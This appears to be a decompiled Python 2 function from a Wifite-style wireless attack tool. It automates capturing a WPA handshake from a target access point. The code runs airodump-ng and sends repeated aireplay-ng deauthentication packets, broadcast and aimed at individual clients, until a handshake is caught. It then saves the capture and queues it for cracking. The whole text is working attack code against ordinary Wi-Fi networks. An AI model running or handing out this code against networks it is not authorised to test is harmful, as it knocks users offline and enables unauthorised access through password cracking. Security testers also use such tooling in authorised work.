'Opens an airodump capture on the target, dumping to a file.
During the capture, sends deauthentication packets to the target both as
general deauthentication packets and specific packets aimed at connected clients.
Waits until a handshake is captured.
"iface"   - interface to capture on
"target"  - Target object containing info on access point
"clients" - List of Client objects associated with the target
Returns True if handshake was found, False otherwise'

def wpa_get_handshake(self):

    if (self.RUN_CONFIG.WPA_ATTACK_TIMEOUT <= 0):
        self.RUN_CONFIG.WPA_ATTACK_TIMEOUT = (-1)
    save_as = (((((self.RUN_CONFIG.WPA_HANDSHAKE_DIR + os.sep) + re.sub('[^a-zA-Z0-9]', '', self.target.ssid)) + '_') + self.target.bssid.replace(':', '-')) + '.cap')
    save_index = 0
    while os.path.exists(save_as):
        save_index += 1
        save_as = (((((((self.RUN_CONFIG.WPA_HANDSHAKE_DIR + os.sep) + re.sub('[^a-zA-Z0-9]', '', self.target.ssid)) + '_') + self.target.bssid.replace(':', '-')) + '_') + str(save_index)) + '.cap')
    remove_airodump_files((self.RUN_CONFIG.temp + 'wpa'))
    try:
        cmd = ['airodump-ng', '-w', (self.RUN_CONFIG.temp + 'wpa'), '-c', self.target.channel, '--write-interval', '1', '--bssid', self.target.bssid, self.iface]
        proc_read = Popen(cmd, stdout=DN, stderr=DN)
        proc_deauth = None
        print ('    %s    starting    %swpa    handshake    capture%s    on    "%s"' % (((GR + sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT)) + W), G, W, ((G + self.target.ssid) + W)))
        got_handshake = False
        seconds_running = 0
        seconds_since_last_deauth = 0
        target_clients = self.clients[:]
        client_index = (-1)
        start_time = time.time()
        while ((not got_handshake) and ((self.RUN_CONFIG.WPA_ATTACK_TIMEOUT <= 0) or (seconds_running < self.RUN_CONFIG.WPA_ATTACK_TIMEOUT))):
            if (proc_read.poll() != None):
                print ''
                print ('airodump-ng    exited    with    status    ' + str(proc_read.poll()))
                print ''
                break
            time.sleep(1)
            seconds_since_last_deauth += int(((time.time() - start_time) - seconds_running))
            seconds_running = int((time.time() - start_time))
            print '                                                                                                                                                                                                                                        \r',
            print ('    %s    listening    for    handshake...\r' % ((GR + sec_to_hms((self.RUN_CONFIG.WPA_ATTACK_TIMEOUT - seconds_running))) + W)),
            stdout.flush()
            if (seconds_since_last_deauth > self.RUN_CONFIG.WPA_DEAUTH_TIMEOUT):
                seconds_since_last_deauth = 0
                cmd = ['aireplay-ng', '--ignore-negative-one', '-0', str(self.RUN_CONFIG.WPA_DEAUTH_COUNT), '-a', self.target.bssid]
                client_index += 1
                if ((client_index == (-1)) or (len(target_clients) == 0) or (client_index >= len(target_clients))):
                    print ('    %s    sending    %s    deauth    to    %s*broadcast*%s...' % (((GR + sec_to_hms((self.RUN_CONFIG.WPA_ATTACK_TIMEOUT - seconds_running))) + W), ((G + str(self.RUN_CONFIG.WPA_DEAUTH_COUNT)) + W), G, W)),
                    client_index = (-1)
                else:
                    print ('    %s    sending    %s    deauth    to    %s...    ' % (((GR + sec_to_hms((self.RUN_CONFIG.WPA_ATTACK_TIMEOUT - seconds_running))) + W), ((G + str(self.RUN_CONFIG.WPA_DEAUTH_COUNT)) + W), ((G + target_clients[client_index].bssid) + W))),
                    cmd.append('-h')
                    cmd.append(target_clients[client_index].bssid)
                cmd.append(self.iface)
                stdout.flush()
                proc_deauth = Popen(cmd, stdout=DN, stderr=DN)
                proc_deauth.wait()
                print 'sent\r',
                stdout.flush()
            if (not os.path.exists((self.RUN_CONFIG.temp + 'wpa-01.cap'))):
                continue
            copy((self.RUN_CONFIG.temp + 'wpa-01.cap'), (self.RUN_CONFIG.temp + 'wpa-01.cap.temp'))
            if self.has_handshake(self.target, (self.RUN_CONFIG.temp + 'wpa-01.cap.temp')):
                got_handshake = True
                try:
                    os.mkdir((self.RUN_CONFIG.WPA_HANDSHAKE_DIR + os.sep))
                except OSError:
                    pass
                send_interrupt(proc_read)
                send_interrupt(proc_deauth)
                rename((self.RUN_CONFIG.temp + 'wpa-01.cap.temp'), save_as)
                print ('\n    %s    %shandshake    captured%s!    saved    as    "%s"' % (((GR + sec_to_hms(seconds_running)) + W), G, W, ((G + save_as) + W)))
                self.RUN_CONFIG.WPA_FINDINGS.append(('%s    (%s)    handshake    captured' % (self.target.ssid, self.target.bssid)))
                self.RUN_CONFIG.WPA_FINDINGS.append(('saved    as    %s' % save_as))
                self.RUN_CONFIG.WPA_FINDINGS.append('')
                if self.RUN_CONFIG.WPA_STRIP_HANDSHAKE:
                    self.strip_handshake(save_as)
                self.RUN_CONFIG.WPA_CAPS_TO_CRACK.append(CapFile(save_as, self.target.ssid, self.target.bssid))
                break
            os.remove((self.RUN_CONFIG.temp + 'wpa-01.cap.temp'))
            for client in self.RUN_CONFIG.RUN_ENGINE.parse_csv((self.RUN_CONFIG.temp + 'wpa-01.csv'))[1]:
                if (client.station != self.target.bssid):
                    continue
                new_client = True
                for c in target_clients:
                    if (client.bssid == c.bssid):
                        new_client = False
                        break
                if new_client:
                    print ('    %s    %snew    client%s    found:    %s                                                                                                    ' % (((GR + sec_to_hms((self.RUN_CONFIG.WPA_ATTACK_TIMEOUT - seconds_running))) + W), G, W, ((G + client.bssid) + W)))
                    target_clients.append(client)
        if (not got_handshake):
            print ((((R + '    [0:00:00]') + O) + '    unable    to    capture    handshake    in    time') + W)
    except KeyboardInterrupt:
        print ((((R + '\n    (^C)') + O) + '    WPA    handshake    capture    interrupted') + W)
        if attack_interrupted_prompt():
            remove_airodump_files((self.RUN_CONFIG.temp + 'wpa'))
            send_interrupt(proc_read)
            send_interrupt(proc_deauth)
            print ''
            self.RUN_CONFIG.exit_gracefully(0)
    remove_airodump_files((self.RUN_CONFIG.temp + 'wpa'))
    send_interrupt(proc_read)
    send_interrupt(proc_deauth)
    return got_handshake
